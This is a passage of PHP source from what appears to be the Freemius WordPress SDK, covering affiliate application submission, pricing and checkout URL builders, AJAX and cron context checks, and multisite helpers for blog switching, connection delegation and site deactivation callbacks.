$this->is_api_result_entity( $affiliate_terms ) ) { $this->custom_affiliate_terms = new FS_AffiliateTerms( $affiliate_terms ); } } $this->affiliate = $affiliate; } } } } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 */ private function fetch_affiliate_and_terms() { $this->_logger->entrance(); $this->fetch_affiliate_terms(); $this->fetch_affiliate_and_custom_terms(); } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @return FS_Affiliate */ function get_affiliate() { return $this->affiliate; } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @return FS_AffiliateTerms */ function get_affiliate_terms() { return is_object( $this->custom_affiliate_terms ) ? $this->custom_affiliate_terms : $this->plugin_affiliate_terms; } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 */ function _submit_affiliate_application() { $this->_logger->entrance(); $this->check_ajax_referer( 'submit_affiliate_application' ); if ( ! $this->is_user_admin() ) { // Only for admins. self::shoot_ajax_failure(); } $affiliate = fs_request_get( 'affiliate' ); if ( empty( $affiliate['promotion_methods'] ) ) { unset( $affiliate['promotion_methods'] ); } if ( ! empty( $affiliate['additional_domains'] ) ) { $affiliate['additional_domains'] = array_unique( $affiliate['additional_domains'] ); } if ( ! $this->is_registered() ) { $email_address = isset( $affiliate['email'] ) ? $affiliate['email'] : ''; if ( ! is_email( $email_address ) ) { self::shoot_ajax_failure('Invalid email address.'); } // Opt in but don't track usage. $next_page = $this->opt_in( $email_address, false, false, false, false, false, true ); if ( is_object( $next_page ) && $this->is_api_error( $next_page ) ) { self::shoot_ajax_failure( isset( $next_page->error ) ? $next_page->error->message : var_export( $next_page, true ) ); } else if ( $this->is_pending_activation() ) { self::shoot_ajax_failure( $this->get_text_inline( 'Account is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again.', 'account-is-pending-activation' ) ); } } $this->fetch_affiliate_terms(); $plugin_id_for_affiliate = $this->get_plugin_id_for_affiliate_terms(); $api = $this->get_api_user_scope(); $result = $api->call( ( "/plugins/{$plugin_id_for_affiliate}/aff/{$this->plugin_affiliate_terms->id}/affiliates.json" ), 'post', $affiliate ); if ( $this->is_api_error( $result ) ) { self::shoot_ajax_failure( isset( $result->error ) ? $result->error->message : var_export( $result, true ) ); } else { if ( $this->_admin_notices->has_sticky( 'affiliate_program' ) ) { $this->_admin_notices->remove_sticky( 'affiliate_program' ); } $affiliate_application_data = array( 'status' => 'pending', 'stats_description' => $affiliate['stats_description'], 'promotion_method_description' => $affiliate['promotion_method_description'], ); if ( ! empty( $affiliate['promotion_methods'] ) ) { $affiliate_application_data['promotion_methods'] = $affiliate['promotion_methods']; } if ( ! empty( $affiliate['domain'] ) ) { $affiliate_application_data['domain'] = $affiliate['domain']; } if ( ! empty( $affiliate['additional_domains'] ) ) { $affiliate_application_data['additional_domains'] = $affiliate['additional_domains']; } $this->_storage->affiliate_application_data = $affiliate_application_data; } // Purge cached affiliate. $api->purge_cache( 'affiliate.json' ); self::shoot_ajax_success( $result ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @return array|null */ function get_affiliate_application_data() { if ( empty( $this->_storage->affiliate_application_data ) ) { return null; } return $this->_storage->affiliate_application_data; } #endregion Affiliation ------------------------------------------------------------ #---------------------------------------------------------------------------------- #region URL Generators #---------------------------------------------------------------------------------- /** * Alias to pricing_url(). * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @uses pricing_url() * * @param string $period Billing cycle * @param bool $is_trial * * @return string */ function get_upgrade_url( $period = WP_FS__PERIOD_ANNUALLY, $is_trial = false ) { return $this->pricing_url( $period, $is_trial ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @uses get_upgrade_url() * * @return string */ function get_trial_url() { return $this->get_upgrade_url( WP_FS__PERIOD_ANNUALLY, true ); } /** * @author Leo Fajardo (@leorw) * @since 2.1.4 * * @param string $new_version * * @return string */ function version_upgrade_checkout_link( $new_version ) { if ( ! is_object( $this->_license ) ) { $url = $this->pricing_url(); $purchase_license_text = $this->get_text_inline( 'Buy a license now', 'buy-license-now' ); } else { $subscription = $this->_get_subscription( $this->_license->id ); $url = $this->checkout_url( is_object( $subscription ) ? ( 1 == $subscription->billing_cycle ? WP_FS__PERIOD_MONTHLY : WP_FS__PERIOD_ANNUALLY ) : WP_FS__PERIOD_LIFETIME, false, array( 'licenses' => $this->_license->quota ) ); $purchase_license_text = $this->get_text_inline( 'Renew your license now', 'renew-license-now' ); } return sprintf( $this->get_text_inline( '%s to access version %s security & feature updates, and support.', 'x-for-updates-and-support' ), sprintf( '%s', $this->apply_filters( 'update_notice_checkout_url', $url ), $purchase_license_text ), $new_version ); } /** * Plugin's pricing URL. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param string $billing_cycle Billing cycle * * @param bool $is_trial * * @return string */ function pricing_url( $billing_cycle = WP_FS__PERIOD_ANNUALLY, $is_trial = false ) { $this->_logger->entrance(); $params = array( 'billing_cycle' => $billing_cycle ); if ( $is_trial ) { $params['trial'] = 'true'; } $url = $this->is_addon() ? $this->_parent->addon_url( $this->_slug ) : $this->_get_admin_page_url( 'pricing', $params ); return $this->apply_filters( 'pricing_url', $url ); } /** * Checkout page URL. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param string $billing_cycle Billing cycle * @param bool $is_trial * @param array $extra (optional) Extra parameters, override other query params. * @param bool|null $network * * @return string */ function checkout_url( $billing_cycle = WP_FS__PERIOD_ANNUALLY, $is_trial = false, $extra = array(), $network = null ) { $this->_logger->entrance(); $params = array( 'checkout' => 'true', 'billing_cycle' => $billing_cycle, ); if ( $is_trial ) { $params['trial'] = 'true'; } /** * Params in extra override other params. */ $params = array_merge( $params, $extra ); return $this->apply_filters( 'checkout_url', $this->_get_admin_page_url( 'pricing', $params, $network ) ); } /** * Add-on checkout URL. * * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @param number $addon_id * @param number $pricing_id * @param string $billing_cycle * @param bool $is_trial * @param bool|null $network * * @return string */ function addon_checkout_url( $addon_id, $pricing_id, $billing_cycle = WP_FS__PERIOD_ANNUALLY, $is_trial = false, $network = null ) { return $this->checkout_url( $billing_cycle, $is_trial, array( 'plugin_id' => $addon_id, 'pricing_id' => $pricing_id, ), $network ); } #endregion #endregion ------------------------------------------------------------------ /** * Check if plugin has any add-ons. * * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @since 1.1.7.3 Base logic only on the parameter provided by the developer in the init function. * * @return bool */ function has_addons() { $this->_logger->entrance(); return $this->_has_addons; } /** * Check if plugin can work in anonymous mode. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool * * @deprecated Please use is_enable_anonymous() instead. */ function enable_anonymous() { return $this->_enable_anonymous; } /** * Check if plugin can work in anonymous mode. * * @author Vova Feldman (@svovaf) * @since 1.1.9 * * @return bool */ function is_enable_anonymous() { return $this->_enable_anonymous; } /** * Check if plugin is premium only (no free plans). * * @author Vova Feldman (@svovaf) * @since 1.1.9 * * @return bool */ function is_only_premium() { return $this->_is_premium_only; } /** * Checks if the plugin's type is "plugin". The other type is "theme". * * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return bool */ function is_plugin() { return ( WP_FS__MODULE_TYPE_PLUGIN === $this->_module_type ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return string */ function get_module_type() { if ( ! isset( $this->_module_type ) ) { $id_slug_type_path_map = self::$_accounts->get_option( 'id_slug_type_path_map', array() ); $this->_module_type = $id_slug_type_path_map[ $this->_module_id ]['type']; } return $this->_module_type; } /** * @author Leo Fajardo (@leorw) * @since 1.2.2 * * @return string */ function get_plugin_main_file_path() { return $this->_plugin_main_file_path; } /** * Check if module has a premium code version. * * Serviceware module might be freemium without any * premium code version, where the paid features * are all part of the service. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @return bool */ function has_premium_version() { return $this->_has_premium_version; } /** * Check if feature supported with current site's plan. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @todo IMPLEMENT * * @param number $feature_id * * @throws Exception */ function is_feature_supported( $feature_id ) { throw new Exception( 'not implemented' ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @return bool Is running in SSL/HTTPS */ function is_ssl() { return WP_FS__IS_HTTPS; } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool Is running in AJAX call. * * @link http://wordpress.stackexchange.com/questions/70676/how-to-check-if-i-am-in-admin-ajax */ static function is_ajax() { return ( defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Check if it's an AJAX call targeted for the current module. * * @author Vova Feldman (@svovaf) * @since 1.2.0 * * @param array|string $actions Collection of AJAX actions. * * @return bool */ function is_ajax_action( $actions ) { // Verify it's an ajax call. if ( ! self::is_ajax() ) { return false; } // Verify the call is relevant for the plugin. if ( $this->_module_id != fs_request_get( 'module_id' ) ) { return false; } // Verify it's one of the specified actions. if ( is_string( $actions ) ) { $actions = explode( ',', $actions ); } if ( is_array( $actions ) && 0 < count( $actions ) ) { $ajax_action = fs_request_get( 'action' ); foreach ( $actions as $action ) { if ( $ajax_action === $this->get_action_tag( $action ) ) { return true; } } } return false; } /** * Check if it's an AJAX call targeted for current request. * * @author Vova Feldman (@svovaf) * @since 1.2.0 * * @param array|string $actions Collection of AJAX actions. * @param number|null $module_id * * @return bool */ static function is_ajax_action_static( $actions, $module_id = null ) { // Verify it's an ajax call. if ( ! self::is_ajax() ) { return false; } if ( ! empty( $module_id ) ) { // Verify the call is relevant for the plugin. if ( $module_id != fs_request_get( 'module_id' ) ) { return false; } } // Verify it's one of the specified actions. if ( is_string( $actions ) ) { $actions = explode( ',', $actions ); } if ( is_array( $actions ) && 0 < count( $actions ) ) { $ajax_action = fs_request_get( 'action' ); foreach ( $actions as $action ) { if ( $ajax_action === self::get_ajax_action_static( $action, $module_id ) ) { return true; } } } return false; } /** * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @return bool */ static function is_cron() { return ( defined( 'DOING_CRON' ) && DOING_CRON ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return bool */ static function is_admin_post() { return ( 'admin-post.php' === self::get_current_page() ); } /** * Check if a real user is visiting the admin dashboard. * * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @return bool */ function is_user_in_admin() { return ( is_admin() && ! self::is_ajax() && ! self::is_cron() && ! self::is_admin_post() ); } /** * Check if a real user is in the customizer view. * * @author Vova Feldman (@svovaf) * @since 1.2.2.7 * * @return bool */ static function is_customizer() { return is_customize_preview(); } /** * Check if running in HTTPS and if site's plan matching the specified plan. * * @param string $plan * @param bool $exact * * @return bool */ function is_ssl_and_plan( $plan, $exact = false ) { return ( $this->is_ssl() && $this->is_plan( $plan, $exact ) ); } /** * Construct plugin's settings page URL. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param string $page * @param array $params * @param bool|null $network * * @return string */ function _get_admin_page_url( $page = '', $params = array(), $network = null ) { if ( is_null( $network ) ) { $network = ( $this->_is_network_active && ( fs_is_network_admin() || ! $this->is_delegated_connection() ) ); } if ( 0 < count( $params ) ) { foreach ( $params as $k => $v ) { $params[ $k ] = urlencode( $v ); } } $page_param = $this->_menu->get_slug( $page ); if ( empty( $page ) && // Show the opt-in as an overlay for free wp.org themes or themes without any settings page. $this->show_opt_in_on_themes_page() ) { $params[ $this->get_unique_affix() . '_show_optin' ] = 'true'; return add_query_arg( $params, $this->admin_url( 'themes.php', 'admin', $network ) ); } if ( ! $this->has_settings_menu() ) { if ( ! empty( $page ) ) { // Module doesn't have a setting page, but since the request is for // a specific Freemius page, use the admin.php path. return add_query_arg( array_merge( $params, array( 'page' => $page_param, ) ), $this->admin_url( 'admin.php', 'admin', $network ) ); } else { if ( $this->is_activation_mode() ) { /** * @author Vova Feldman * @since 1.2.1.6 * * If plugin doesn't have a settings page, create one for the opt-in screen. */ return add_query_arg( array_merge( $params, array( 'page' => $this->_slug, ) ), $this->admin_url( 'admin.php', 'admin', $network ) ); } else { // Plugin without a settings page. return add_query_arg( $params, $this->admin_url( 'plugins.php', 'admin', $network ) ); } } } // Module has a submenu settings page. if ( ! $this->_menu->is_top_level() ) { $parent_slug = $this->_menu->get_parent_slug(); $menu_file = ( false !== strpos( $parent_slug, '.php' ) ) ? $parent_slug : 'admin.php'; return add_query_arg( array_merge( $params, array( 'page' => $page_param, ) ), $this->admin_url( $menu_file, 'admin', $network ) ); } // Module has a top level CPT settings page. if ( $this->_menu->is_cpt() ) { if ( empty( $page ) && $this->is_activation_mode() ) { return add_query_arg( array_merge( $params, array( 'page' => $page_param ) ), $this->admin_url( 'admin.php', 'admin', $network ) ); } else { if ( ! empty( $page ) ) { $params['page'] = $page_param; } return add_query_arg( $params, $this->admin_url( $this->_menu->get_raw_slug(), 'admin', $network ) ); } } // Module has a custom top level settings page. return add_query_arg( array_merge( $params, array( 'page' => $page_param, ) ), $this->admin_url( 'admin.php', 'admin', $network ) ); } #-------------------------------------------------------------------------------- #region Multisite #-------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @return bool */ function is_network_active() { return $this->_is_network_active; } /** * Delegate activation for the given sites in the network (or all sites if `null`) to site admins. * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param bool|int[] $all_or_blog_ids */ private function delegate_connection( $all_or_blog_ids = true ) { $this->_logger->entrance(); $this->_admin_notices->remove_sticky( 'connect_account' ); if ( true === $all_or_blog_ids ) { // All sites delegation. $this->_storage->store( 'is_delegated_connection', true, true ); } else { // Specified sites delegation. foreach ( $all_or_blog_ids as $blog_id ) { $this->delegate_site_connection( $blog_id ); } } $this->network_upgrade_mode_completed(); } /** * Delegate specific network site conncetion to the site admin. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id */ private function delegate_site_connection( $blog_id ) { $this->_storage->store( 'is_delegated_connection', true, $blog_id ); } /** * Check if super-admin delegated the connection of ALL sites to the site admins. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool */ function is_network_delegated_connection() { if ( ! $this->_is_network_active ) { return false; } return $this->_storage->get( 'is_delegated_connection', false, true ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param int $blog_id * * @return bool */ function is_site_delegated_connection( $blog_id = 0 ) { if ( ! $this->_is_network_active ) { return false; } if ( 0 == $blog_id ) { $blog_id = get_current_blog_id(); } return $this->_storage->get( 'is_delegated_connection', false, $blog_id ); } /** * Check if delegated the connection. When running within the network admin, * and haven't specified the blog ID, checks if network level delegated. If running * within a site admin or specified a blog ID, check if delegated the connection for * the current context site. * * If executed outside the the admin, check if delegated the connection * for the current context site OR the whole network. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id If set, checks if network delegated or blog specific delegated. * * @return bool */ function is_delegated_connection( $blog_id = 0 ) { if ( ! $this->_is_network_active ) { return false; } if ( fs_is_network_admin() && 0 == $blog_id ) { return $this->is_network_delegated_connection(); } return ( $this->is_network_delegated_connection() || $this->is_site_delegated_connection( $blog_id ) ); } /** * Check if the current module is active for the site. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * * @return bool */ function is_active_for_site( $blog_id ) { if ( ! is_multisite() ) { // Not a multisite and this code is executed, means that the plugin is active. return true; } if ( $this->is_theme() ) { // All themes are site level activated. return true; } if ( $this->_is_network_active ) { // Plugin was network activated so it's active. return true; } return in_array( $this->_plugin_basename, (array) get_blog_option( $blog_id, 'active_plugins', array() ) ); } /** * @todo Implement pagination when accessing the subsites collection. * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param int $limit Default to 1,000 * @param int $offset Default to 0 * * @return array Active & public sites collection. */ static function get_sites( $limit = 1000, $offset = 0 ) { if ( ! is_multisite() ) { return array(); } /** * For consistency with get_blog_list() which only return active public sites. * * @author Vova Feldman (@svovaf) */ $args = array( /** * Commented out in order to handle the migration of site options whether the site is public or not. * * @author Leo Fajardo (@leorw) * @since 2.2.1 */ // 'public' => 1, 'archived' => 0, 'mature' => 0, 'spam' => 0, 'deleted' => 0, 'number' => $limit, 'offset' => $offset, ); return get_sites( $args ); } /** * Checks if a given blog is active. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param $blog_id * * @return bool */ private static function is_site_active( $blog_id ) { global $wpdb; $blog_info = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->blogs} WHERE blog_id = %d", $blog_id ) ); if ( ! is_object( $blog_info ) ) { return false; } return ( true == $blog_info->public && false == $blog_info->archived && false == $blog_info->mature && false == $blog_info->spam && false == $blog_info->deleted ); } /** * Get a mapping between the site addresses to their blog IDs. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return array { * @key string Site address without protocol with a trailing slash. * @value int Site's blog ID. * } */ private function get_address_to_blog_map() { $sites = self::get_sites(); // Map site addresses to their blog IDs. $address_to_blog_map = array(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $address = self::get_unfiltered_site_url( $blog_id, true, true ); $address_to_blog_map[ $address ] = $blog_id; } return $address_to_blog_map; } /** * Get a mapping between the site addresses to their blog IDs. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return array { * @key int Site's blog ID. * @value FS_Site Associated install. * } */ function get_blog_install_map() { $sites = self::get_sites(); // Map site blog ID to its install. $install_map = array(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( is_object( $install ) ) { $install_map[ $blog_id ] = $install; } } return $install_map; } /** * @author Vova Feldman (@svovaf) * @since 2.5.1 * * @param bool|null $is_delegated When `true`, returns only connection delegated blog IDs. When `false`, only non-delegated blog IDs. * * @return int[] */ private function get_blog_ids( $is_delegated = null ) { $blog_ids = array(); $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); if ( is_null( $is_delegated ) || $is_delegated === $this->is_site_delegated_connection( $blog_id ) ) { $blog_ids[] = $blog_id; } } return $blog_ids; } /** * @author Vova Feldman (@svovaf) * @since 2.5.1 * * @return int[] */ private function get_non_delegated_blog_ids() { return $this->get_blog_ids( false ); } /** * Gets a map of module IDs that the given user has opted-in to. * * @author Leo Fajardo (@leorw) * @since 2.1.0 * * @param number $fs_user_id * * @return array { * @key number $plugin_id * @value bool Always true. * } */ private static function get_user_opted_in_module_ids_map( $fs_user_id ) { self::$_static_logger->entrance(); if ( ! is_multisite() ) { $installs = array_merge( self::get_all_sites( WP_FS__MODULE_TYPE_PLUGIN ), self::get_all_sites( WP_FS__MODULE_TYPE_THEME ) ); } else { $sites = self::get_sites(); $installs = array(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $installs = array_merge( $installs, self::get_all_sites( WP_FS__MODULE_TYPE_PLUGIN, $blog_id ), self::get_all_sites( WP_FS__MODULE_TYPE_THEME, $blog_id ) ); } } $module_ids_map = array(); foreach ( $installs as $install ) { if ( is_object( $install ) && FS_Site::is_valid_id( $install->id ) && FS_User::is_valid_id( $install->user_id ) && ( $install->user_id == $fs_user_id ) ) { $module_ids_map[ $install->plugin_id ] = true; } } return $module_ids_map; } /** * @author Leo Fajardo (@leorw) * * @return null|array { * 'install' => FS_Site Module's install, * 'blog_id' => string The associated blog ID. * } */ function find_first_install() { $sites = self::get_sites(); foreach ( $sites as $site ) { $blog_id = self::get_site_blog_id( $site ); $install = $this->get_install_by_blog_id( $blog_id ); if ( is_object( $install ) ) { return array( 'install' => $install, 'blog_id' => $blog_id ); } } return null; } /** * Switches the Freemius site level context to a specified blog. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $blog_id * @param FS_Site $install * @param bool $flush * * @return bool Since 2.3.1 returns if a switch was made. */ function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) { if ( ! is_numeric( $blog_id ) ) { return false; } if ( ! $flush && $blog_id == $this->_context_is_network_or_blog_id ) { return false; } switch_to_blog( $blog_id ); $this->_context_is_network_or_blog_id = $blog_id; self::$_accounts->set_site_blog_context( $blog_id ); $this->_storage->set_site_blog_context( $blog_id ); $this->_storage->set_network_active( $this->_is_network_active, $this->is_delegated_connection( $blog_id ) ); $this->_site = is_object( $install ) ? $install : $this->get_install_by_blog_id( $blog_id ); $this->_user = false; $this->_licenses = false; $this->_license = null; $this->is_whitelabeled = null; if ( is_object( $this->_site ) ) { // Try to fetch user from install. $this->_user = self::_get_user_by_id( $this->_site->user_id ); if ( ! is_object( $this->_user ) && FS_User::is_valid_id( $this->_storage->prev_user_id ) ) { // Try to fetch previously saved user. $this->_user = self::_get_user_by_id( $this->_storage->prev_user_id ); if ( ! is_object( $this->_user ) ) { // Fallback to network's user. $this->_user = $this->get_network_user(); } } $all_plugin_licenses = self::get_all_licenses( $this->_module_id ); if ( ! empty( $all_plugin_licenses ) ) { if ( ! FS_Plugin_License::is_valid_id( $this->_site->license_id ) ) { $this->_license = null; } else { $license_found = false; foreach ( $all_plugin_licenses as $license ) { if ( $license->id == $this->_site->license_id ) { // License found. $this->_license = $license; $license_found = true; break; } } if ( $license_found ) { $this->link_license_2_user( $this->_license->id, $this->_user->id ); } } $this->_licenses = $this->get_user_licenses( $this->_user->id ); } } unset( $this->_site_api ); unset( $this->_user_api ); return true; } /** * Restore the blog context to the blog that originally loaded the module. * * @author Vova Feldman (@svovaf) * @since 2.0.0 */ function restore_current_blog() { $this->switch_to_blog( $this->_blog_id ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param array|WP_Site $site * * @return int */ static function get_site_blog_id( &$site ) { return ( $site instanceof WP_Site ) ? $site->blog_id : ( is_object( $site ) && isset( $site->userblog_id ) ? $site->userblog_id : $site['blog_id'] ); } /** * @author Vova Feldman (@svovaf) * @since 2.5.1 * * @param WP_Site[]|array[] $sites * * @return int[] */ static function get_sites_blog_ids( $sites ) { $blog_ids = array(); foreach ( $sites as $site ) { $blog_ids[] = self::get_site_blog_id( $site ); } return $blog_ids; } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param array|WP_Site|null $site * @param bool $load_registration Since 2.5.1 When set to `true` the method will attempt to return the subsite's registration date, regardless of the `$site` type and value. In most calls, the registration date will be returned anyway, even when the value is `false`. This param is purely for performance optimization. * * @return array */ function get_site_info( $site = null, $load_registration = false ) { $this->_logger->entrance(); $switched = false; $registration_date = null; if ( is_null( $site ) ) { $url = self::get_unfiltered_site_url(); $name = get_bloginfo( 'name' ); $blog_id = null; } else { $blog_id = self::get_site_blog_id( $site ); if ( get_current_blog_id() != $blog_id ) { switch_to_blog( $blog_id ); $switched = true; } if ( $site instanceof WP_Site ) { $url = $site->siteurl; $name = $site->blogname; $registration_date = $site->registered; } else { $url = self::get_unfiltered_site_url( $blog_id ); $name = get_bloginfo( 'name' ); } } if ( empty( $registration_date ) && $load_registration ) { $blog_details = get_blog_details( $blog_id, false ); if ( is_object( $blog_details ) && isset( $blog_details->registered ) ) { $registration_date = $blog_details->registered; } } $info = array( 'uid' => $this->get_anonymous_id( $blog_id ), 'url' => $url, ); // Add these diagnostic information only if user allowed to track. if ( FS_Permission_Manager::instance( $this )->is_diagnostic_tracking_allowed() ) { $info = array_merge( $info, array( 'title' => $name, 'language' => self::get_sanitized_language(), ) ); } if ( is_numeric( $blog_id ) ) { $info['blog_id'] = $blog_id; } if ( ! empty( $registration_date ) ) { $info[ 'registration_date' ] = $registration_date; } if ( $switched ) { restore_current_blog(); } return $info; } /** * Load the module's install based on the blog ID. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int|null $blog_id * * @return FS_Site */ function get_install_by_blog_id( $blog_id = null ) { $installs = self::get_all_sites( $this->_module_type, $blog_id ); $install = isset( $installs[ $this->_slug ] ) ? $installs[ $this->_slug ] : null; if ( is_object( $install ) && is_numeric( $install->id ) && is_numeric( $install->user_id ) && FS_Plugin_Plan::is_valid_id( $install->plan_id ) ) { // Load site. $install = clone $install; } return $install; } /** * Check if module is installed on a specified site. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int|null $blog_id * * @return bool */ function is_installed_on_site( $blog_id = null ) { $installs = self::get_all_sites( $this->_module_type, $blog_id ); $install = isset( $installs[ $this->_slug ] ) ? $installs[ $this->_slug ] : null; return ( is_object( $install ) && is_numeric( $install->id ) && is_numeric( $install->user_id ) && FS_Plugin_Plan::is_valid_id( $install->plan_id ) ); } /** * Check if super-admin connected at least one site via the network opt-in. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool */ function is_network_registered() { if ( ! $this->_is_network_active ) { return false; } return FS_User::is_valid_id( $this->_storage->network_user_id ); } /** * Returns the main user associated with the network. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return FS_User */ function get_network_user() { if ( ! $this->_is_network_active ) { return null; } return FS_User::is_valid_id( $this->_storage->network_user_id ) ? self::_get_user_by_id( $this->_storage->network_user_id ) : null; } /** * Returns the current context user or the network's main user. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return FS_User */ function get_current_or_network_user() { return ( $this->_user instanceof FS_User ) ? $this->_user : $this->get_network_user(); } /** * Returns the main install associated with the network. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return FS_Site */ function get_network_install() { if ( ! $this->_is_network_active ) { return null; } return FS_Site::is_valid_id( $this->_storage->network_install_blog_id ) ? $this->get_install_by_blog_id( $this->_storage->network_install_blog_id ) : null; } /** * Returns the blog ID that is associated with the main install. * * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @return int|null */ function get_network_install_blog_id() { if ( ! $this->_is_network_active ) { return null; } return FS_Site::is_valid_id( $this->_storage->network_install_blog_id ) ? $this->_storage->network_install_blog_id : null; } /** * Returns the current context install or the network's main install. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return FS_Site */ function get_current_or_network_install() { return ( $this->_site instanceof FS_Site ) ? $this->_site : $this->get_network_install(); } /** * Check if executing a site level action from the network level admin. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return false|int If yes, return the requested blog ID. */ private function is_network_level_site_specific_action() { if ( ! $this->_is_network_active ) { return false; } if ( ! fs_is_network_admin() ) { return false; } $blog_id = fs_request_get( 'blog_id', '' ); return is_numeric( $blog_id ) ? $blog_id : false; } /** * Check if executing an action from the network level admin. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @return bool */ private function is_network_level_action() { return ( $this->_is_network_active && fs_is_network_admin() ); } /** * Needs to be executed after site deactivation, archive, deletion, or flag as spam. * The logic updates the network level user and blog, and reschedule the crons if the cron executing site matching the site that is no longer publicly active. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $context_blog_id */ private function update_multisite_data_after_site_deactivation( $context_blog_id = 0 ) { $this->_logger->entrance(); if ( $this->_is_network_active ) { if ( $context_blog_id == $this->_storage->network_install_blog_id ) { $installs_map = $this->get_blog_install_map(); foreach ( $installs_map as $blog_id => $install ) { /** * @var FS_Site $install */ if ( $context_blog_id == $blog_id ) { continue; } if ( $install->user_id != $this->_storage->network_user_id ) { continue; } // Switch reference to a blog that is opted-in and belong to the same super-admin. $this->_storage->network_install_blog_id = $blog_id; break; } } } if ( ! $this->is_registered() ) { return; } if ( $this->is_sync_cron_scheduled() && $context_blog_id == $this->get_sync_cron_blog_id() ) { $this->schedule_sync_cron( WP_FS__SCRIPT_START_TIME, true, $context_blog_id ); } if ( $this->is_install_sync_scheduled() && $context_blog_id == $this->get_install_sync_cron_blog_id() ) { $this->schedule_install_sync( $context_blog_id ); } } /** * Executed after site deactivation, archive, or flag as spam. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $context_blog_id */ public function _after_site_deactivated_callback( $context_blog_id = 0 ) { $this->_logger->entrance(); $install = $this->get_install_by_blog_id( $context_blog_id ); if ( ! is_object( $install ) ) { // Site not connected. return; } $this->update_multisite_data_after_site_deactivation( $context_blog_id ); if ( ! $this->is_registered() ) { return; } $current_blog_id = get_current_blog_id(); $this->switch_to_blog( $context_blog_id ); // Send deactivation event. $this->sync_install( array( 'is_active' => false, ) ); $this->switch_to_blog( $current_blog_id ); } /** * Executed after site deletion. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $context_blog_id * @param bool $drop True if site's database tables should be dropped. Default is false. */ public function _after_site_deleted_callback( $context_blog_id = 0, $drop = false ) { $this->_logger->entrance(); $install = $this->get_install_by_blog_id( $context_blog_id ); if ( ! is_object( $install ) ) { // Site not connected. return; } $this->update_multisite_data_after_site_deactivation( $context_blog_id ); if ( ! $this->is_registered() ) { return; } $current_blog_id = get_current_blog_id(); $this->switch_to_blog( $context_blog_id ); if ( $drop ) { // Delete install if dropping site DB. $this->delete_account_event(); } else { // Send deactivation event. $this->sync_install( array( 'is_active' => false, ) ); } $this->switch_to_blog( $current_blog_id ); } /** * Executed after site deletion, called from wp_delete_site * * @author Dario Curvino (@dudo) * @since 2.5.0 * * @param WP_Site $old_site */ public function _after_wpsite_deleted_callback( WP_Site $old_site ) { $this->_logger->entrance(); $this->_after_site_deleted_callback( $old_site->blog_id, true ); } /** * Executed after site re-activation. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $context_blog_id */ public function _after_site_reactivated_callback( $context_blog_id = 0 ) { $this->_logger->entrance(); $install = $this->get_install_by_blog_id( $context_blog_id ); if ( ! is_object( $install ) ) { // Site not connected. return; } if ( ! self::is_site_active( $context_blog_id ) ) { // Site not yet active (can be in spam mode, archived, deleted...). return; } $current_blog_id = get_current_blog_id(); $this->switch_to_blog( $context_blog_id ); // Send re-activation event. $this->sync_install( array( 'is_active' => true, ) ); $this->switch_to_blog( $current_blog_id ); } #endregion Multisite /** * @author Leo Fajardo (@leorw) * * @param string $path * @param string $scheme * @param bool $network * * @return string */ private function admin_url( $path = '', $scheme = 'admin', 